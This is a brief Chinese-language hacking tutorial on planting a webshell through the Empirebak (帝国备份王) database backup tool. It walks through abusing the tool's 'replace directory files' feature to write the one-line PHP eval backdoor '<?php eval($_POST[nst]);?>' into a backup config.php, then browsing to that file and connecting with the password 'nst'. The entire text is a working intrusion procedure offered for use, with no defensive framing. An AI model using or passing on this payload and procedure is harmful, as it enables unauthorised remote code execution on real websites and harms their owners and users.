帝国备份王(Empirebak)拿webshell

一、进入帝国备份王(Empirebak)后先备份数据，然后下载备份数据包，查看里面的任一文件并复制源代码。

二、点击左侧"替换目录文件",替换目录选择刚才下载的数据库备份目录，将上面复制的代码粘贴进去，"替换为"一栏写填写

<?php eval($_POST[nst]);?>hello world!

三、访问http://网站域名/帝国安装目录/bdata/数据库备份目录/config.php,若能看到hello world!刚说明一句话替换成功，连接密码为：nst